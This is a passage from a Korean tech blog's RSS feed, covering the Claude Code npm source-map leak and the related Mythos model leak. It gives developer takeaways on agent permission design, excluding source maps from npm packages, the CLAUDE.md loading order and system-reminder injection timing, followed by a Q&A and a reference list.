&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;전략적 함의&lt;/b&gt;&lt;br /&gt;Anthropic의 실질적 해자(moat)는 코드가 아니라 모델이다. CLI 소스코드가 공개됐다고 해서 Claude 모델 자체를 복제할 수는 없다. 그럼에도 이 사건이 불편한 이유는, 경쟁사 방어 로직(ANTI_DISTILLATION)이나 내부 운영 방식(Undercover Mode)까지 공개됐다는 점이다.&lt;/div&gt;
&lt;!-- 섹션 9 추가 — Mythos 유출 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;더 큰 맥락: 같은 주에 또 다른 유출 &amp;mdash; Claude Mythos&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스맵 유출(3월 31일)이 터지기 &lt;b&gt;5일 전&lt;/b&gt;, Anthropic은 별도의 유출 사고를 이미 겪은 상태였다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; border-radius: 8px; padding: 16px 20px; margin: 15px 0;&quot;&gt;&lt;b&gt;사건 (2026-03-26): Claude Mythos 유출&lt;/b&gt;&lt;br /&gt;내부 블로그 초안이 담긴 데이터 캐시의 &lt;b&gt;CMS 설정 오류&lt;/b&gt;로 인해 공개 접근 가능한 상태가 됐다. Fortune이 단독 보도했고, Anthropic은 &lt;b&gt;&quot;인적 오류(human error)&quot;&lt;/b&gt;임을 인정했다. &lt;br /&gt;(출처: &lt;a href=&quot;https://fortune.com/2026/03/26/anthropic-says-testing-mythos-powerful-new-ai-model-after-data-leak-reveals-its-existence-step-change-in-capabilities/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune, 2026-03-26&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공개된 내용:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;모델명&lt;/b&gt;: Claude Mythos &amp;mdash; 내부 코드명 &lt;b&gt;&quot;Capybara&quot;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;포지셔닝&lt;/b&gt;: &quot;Opus보다 크고 더 지능적인 새 모델 티어&quot; &amp;mdash; Anthropic 초안 원문&lt;/li&gt;
&lt;li&gt;&lt;b&gt;성능&lt;/b&gt;: 코딩, 학문적 추론, 사이버보안 등에서 Claude Opus 4.6 대비 극적 향상&lt;/li&gt;
&lt;li&gt;&lt;b&gt;위험 경고&lt;/b&gt;: Anthropic 내부 문서 기준 &quot;전례 없는 사이버보안 위험(unprecedented cybersecurity risks)&quot; &amp;mdash; 대규모 사이버 공격 가능성 증가 경고 포함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;출시 상태&lt;/b&gt;: 소규모 얼리 액세스 고객 대상 테스트 중 (2026-03-26 기준)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;연결고리: 소스맵 유출과 Mythos의 교차점&lt;/b&gt;&lt;br /&gt;소스맵 유출 코드에서 발견된 &lt;code&gt;capybara&lt;/code&gt;, &lt;code&gt;capybara-fast&lt;/code&gt;, &lt;code&gt;capybara-fast[1m]&lt;/code&gt; 모델명이 바로 이 Mythos의 코드명이다. 즉 소스코드에는 이미 다음 세대 모델의 흔적이 내장돼 있었다. 두 유출 사건은 각각 독립적인 설정 실수였지만, 결과적으로 같은 모델의 존재를 서로 다른 경로로 확인시켜 줬다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 주 안에 두 번의 &quot;인적 오류&quot; &amp;mdash; 하나는 CMS 설정, 하나는 npm 빌드 설정. IPO를 준비 중인 기업에서 발생한 이 패턴은, 보안 거버넌스와 빌드 파이프라인 검토 체계에 대한 질문을 남긴다.&lt;/i&gt;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 개발자가 알아야 할 인사이트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 유출에서 AI 에이전트를 개발하는 사람이라면 주목해야 할 설계 결정들이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;1. 권한 시스템은 세밀해야 한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code는 단순히 &quot;허용/거부&quot;가 아니라 LOW/MEDIUM/HIGH 위험도 분류 + ML 기반 자동 승인(YOLO Classifier) + 사용자 설명 생성 등 다층 구조를 갖는다. 에이전트가 실제로 사용되려면 이 수준의 세밀함이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;2. 터미널 UI에도 React가 답이 될 수 있다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React + Ink 조합은 터미널에서도 컴포넌트 기반 상태 관리를 가능하게 한다. 복잡한 멀티에이전트 상태를 표시하는 CLI를 만들 때 이 스택은 충분히 검토할 가치가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;3. 모든 것에 LLM을 쓸 필요는 없다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;감정 분석은 정규식으로, 자동 승인은 ML 분류기로, UI는 React로. &quot;AI 제품&quot;이라도 핵심 외 부분에서는 적합한 도구를 선택하는 실용주의가 512,000줄 전체를 관통한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;4. npm 배포 시 소스맵 제거는 필수&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 사건의 직접적 교훈이다. &lt;code&gt;package.json&lt;/code&gt;의 &lt;code&gt;files&lt;/code&gt; 필드 또는 &lt;code&gt;.npmignore&lt;/code&gt;에서 반드시 &lt;code&gt;*.map&lt;/code&gt; 파일을 제외하라. Bun, esbuild, Webpack 등 모든 번들러에서 기본 생성되는 소스맵은 프로덕션 배포물에 포함되면 안 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;// package.json &amp;mdash; 소스맵 제외 예시
{
  &quot;files&quot;: [
    &quot;dist/**/*.js&quot;,    // &amp;larr; .map 명시 제외
    &quot;dist/**/*.d.ts&quot;,
    &quot;!dist/**/*.js.map&quot;  // &amp;larr; 또는 명시적 제외
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- 섹션 10 추가 — CLAUDE.md &amp; system-reminder --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;5. CLAUDE.md 로딩 순서와 system-reminder 주입 맵&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;1072&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cF6RbR/dJMcaare9YW/Me0TfcpO5NiTkKWueh0O51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cF6RbR/dJMcaare9YW/Me0TfcpO5NiTkKWueh0O51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cF6RbR/dJMcaare9YW/Me0TfcpO5NiTkKWueh0O51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcF6RbR%2FdJMcaare9YW%2FMe0TfcpO5NiTkKWueh0O51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1970&quot; height=&quot;1072&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;1072&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;소스에서 확인된 CLAUDE.md 우선순위 체계다. 번호가 클수록 높은 우선순위로 하위 규칙을 덮어쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://aldegad.github.io/claude-code-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aldegad 분석, 2026-03-31&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;1. Managed Memory  /etc/claude-code/CLAUDE.md    &amp;larr; MDM/조직 정책
2. User Memory     ~/.claude/CLAUDE.md            &amp;larr; 전역 사용자 설정
3. Project Memory  (루트 &amp;rarr; CWD 경로 탐색):
     CLAUDE.md
     .claude/CLAUDE.md
     .claude/rules/*.md  &amp;larr; glob 패턴 기반 조건부 규칙
4. Local Memory    CLAUDE.local.md                &amp;larr; git에 커밋 안 됨

※ 숫자 클수록 높은 우선순위 (4가 1을 덮어씀)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실전 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CLAUDE.md 최대 길이: &lt;b&gt;40,000자&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Auto Memory (MEMORY.md): 최대 &lt;b&gt;200줄 또는 25,000바이트&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@include&lt;/code&gt; 디렉티브로 외부 파일 삽입 가능 (&lt;code&gt;@./path&lt;/code&gt;, &lt;code&gt;@~/path&lt;/code&gt;, &lt;code&gt;@/absolute&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.claude/rules/*.md&lt;/code&gt;의 frontmatter &lt;code&gt;globs&lt;/code&gt; 필드에 파일 패턴을 지정하면 해당 파일을 열 때만 규칙이 &lt;code&gt;&amp;lt;system-reminder&amp;gt;&lt;/code&gt;로 주입됨 &amp;mdash; 이 블로그의 &lt;code&gt;.claude/rules/&lt;/code&gt; 설정도 같은 메커니즘&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;system-reminder 주입 타이밍 (소스 확인):&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;타이밍&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주입되는 컨텍스트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;대화 시작&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md 전체 + 현재 날짜&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;매 5턴마다&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;deferred 도구 목록, 스킬 목록, 에이전트 목록, 관련 메모리, 계획 리마인더, MCP 지시사항&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;매 25턴마다&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;전체 컨텍스트 리마인더 (전체 내용 재주입)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;도구 결과 내부&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;FileRead: 빈 파일 경고 / 멀웨어 분석 가드레일 / Hook 실행 결과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;자정&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;날짜 변경 알림&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; border-radius: 8px; padding: 16px 20px; margin: 15px 0;&quot;&gt;&lt;b&gt;개발자 활용법&lt;/b&gt;&lt;br /&gt;&lt;code&gt;.claude/rules/*.md&lt;/code&gt;에 frontmatter &lt;code&gt;globs&lt;/code&gt;를 설정하면 특정 파일 타입을 편집할 때만 추가 지시사항이 자동 주입된다. 예: Python 파일 작업 시에만 코딩 컨벤션 규칙 적용, HTML 파일 작업 시에만 Tistory 포맷 규칙 적용.&lt;/div&gt;
&lt;!-- 섹션 11 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q1. 유출된 소스코드로 Claude Code를 직접 빌드할 수 있나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 가능한 CLI를 복제할 수는 있지만, Claude 모델 자체는 포함되지 않는다. API 키가 있어야 하며, 이는 Anthropic의 서비스 약관 적용을 받는다. 기술적 가능성과 법적 허용은 별개다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q2. 내 개인 데이터가 유출됐나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아니다. 이번 유출은 Claude Code의 클라이언트 소스 코드이며, 사용자 데이터와 무관하다. 노출된 것은 아키텍처와 기능 코드다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q3. ANTI_DISTILLATION_CC가 내 작업에 영향을 주나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반 사용자에게는 영향이 없다. 경쟁사의 모델 학습 파이프라인을 타겟으로 한 기능이다. 정상적인 코딩 작업에서는 동작하지 않는다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q4. BUDDY나 KAIROS를 지금 사용할 수 있나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 공개 버전에서는 사용 불가능하다. 피처 플래그 뒤에 잠겨 있으며, 서버 사이드 활성화가 필요하다. BUDDY는 &lt;span style=&quot;background-color: #f0f4f8; color: #333333; text-align: start;&quot;&gt;2026년 4월 1일 풀렸다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q5. Mintlify 분석 문서는 공식 문서인가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아니다. &lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/introduction&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;mintlify.com/VineeTagarwaL-code/claude-code/&lt;/a&gt;는 커뮤니티가 독립적으로 작성한 비공식 분석 문서다. 공식 문서는 &lt;a href=&quot;https://code.claude.com/docs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;code.claude.com/docs&lt;/a&gt;에서 확인할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q6. Undercover Mode는 일반 사용자에게도 활성화되나?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스 분석에 따르면 이 기능은 Anthropic 내부 직원이 공개 저장소를 작업할 때 활성화되는 것으로 보인다. 일반 사용자에게는 적용되지 않는다. [ESTIMATE] 다만 공식 확인이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 12 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 결론: 의도치 않은 오픈소스의 교훈&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0hVQF/dJMcagrrldg/lKBY5aH7K8Ni9geFKZ4X01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0hVQF/dJMcagrrldg/lKBY5aH7K8Ni9geFKZ4X01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0hVQF/dJMcagrrldg/lKBY5aH7K8Ni9geFKZ4X01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0hVQF%2FdJMcagrrldg%2FlKBY5aH7K8Ni9geFKZ4X01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1922&quot; height=&quot;1080&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;이번 사건에서 주목해야 할 점은 세 가지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫째, 정보는 막을 수 없다.&lt;/b&gt; Anthropic이 소스맵을 제거했지만 GitHub 아카이브, Mintlify 문서, 분산된 복사본은 이미 존재한다. 2025년 첫 번째 유출 때도 그랬다. 코드를 통한 경쟁 우위는 점점 더 유지하기 어려워지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;둘째, 집단 지성의 속도는 놀랍다.&lt;/b&gt; 유출 발생에서 전문 분석 문서 등장까지 수 시간. 이 속도는 앞으로도 가속될 것이다. &quot;숨겨진 것은 없다&quot;는 가정 하에 설계하는 것이 더 현실적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;셋째, Claude Code의 실질적 가치는 코드가 아니다.&lt;/b&gt; 512,000줄이 공개됐지만 Claude 모델을 복제할 수는 없다. Anthropic의 진짜 해자는 모델 품질, 인프라, 그리고 지속적 업데이트다. 이번 사건은 역설적으로 Anthropic의 강점이 어디에 있는지를 보여준다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 20px; border-radius: 12px; border-left: 5px solid #28a745; margin: 25px 0;&quot;&gt;&lt;b&gt;개발자를 위한 행동 지침&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;오늘&lt;/b&gt;: 자신의 npm 패키지에 &lt;code&gt;*.map&lt;/code&gt; 파일이 포함됐는지 확인 (&lt;code&gt;npm pack --dry-run&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이번 주&lt;/b&gt;: Mintlify 분석 문서를 읽고, Claude Code 아키텍처에서 자신의 에이전트 설계에 적용할 점을 찾아보기&lt;/li&gt;
&lt;li&gt;&lt;b&gt;장기적으로&lt;/b&gt;: KAIROS, ULTRAPLAN 등 미출시 기능이 공개될 때 빠르게 활용할 수 있도록 아키텍처 패턴을 이해해두기&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;참고 자료&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 문서&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://code.claude.com/docs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/@anthropic-ai/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@anthropic-ai/claude-code npm 패키지&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커뮤니티 분석&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/introduction&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;How Claude Code Works &amp;mdash; Mintlify 커뮤니티 분석&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=47584540&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN: Claude Code's source code has been leaked via a map file&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Kuberwastaken/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub: Kuberwastaken/claude-code (소스 아카이브 + 분석)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to: Claude Code's Entire Source Code Was Just Leaked&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;뉴스 보도&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://piunikaweb.com/2026/03/31/anthropic-claude-code-source-leaked-npm-registry/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PiunikaWeb: Claude Code source appears to have been leaked&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techstartups.com/2026/03/31/anthropics-claude-source-code-leak-goes-viral-again-after-full-source-hits-npm-registry-revealing-hidden-capybara-models-and-ai-pet/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechStartups: Capybara models and AI pet revealed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cybersecuritynews.com/claude-code-source-code-leaked/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CyberSecurityNews: Claude Code Source Code Leaked&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thehuman2ai.com/blog/claude-code-source-leak&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TheHuman2AI: Claude Code source available for 13 months&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mlq.ai/news/anthropics-claude-code-exposes-source-code-through-packaging-error-for-second-time/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MLQ.ai: Second time packaging error&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/보안</category>
      <category>ANTI_DISTILLATION</category>
      <category>BUDDY AI 펫</category>
      <category>Bun 번들러 보안</category>
      <category>Capybara 모델</category>
      <category>Claude Code v2.1.88</category>
      <category>Claude Code 소스코드 유출</category>
      <category>KAIROS 백그라운드 에이전트</category>
      <category>npm 소스맵 유출</category>
      <category>ULTRAPLAN 원격 계획</category>
      <category>Undercover Mode</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/572</guid>
      <comments>https://goddaehee.tistory.com/572#entry572comment</comments>
      <pubDate>Wed, 1 Apr 2026 01:43:53 +0900</pubDate>
    </item>
    <item>
      <title>openai/codex-plugin-cc(Claude Code용 공식 Codex 플러그인) : Claude가 코딩하고 Codex가 리뷰한다</title>
      <link>https://goddaehee.tistory.com/571</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
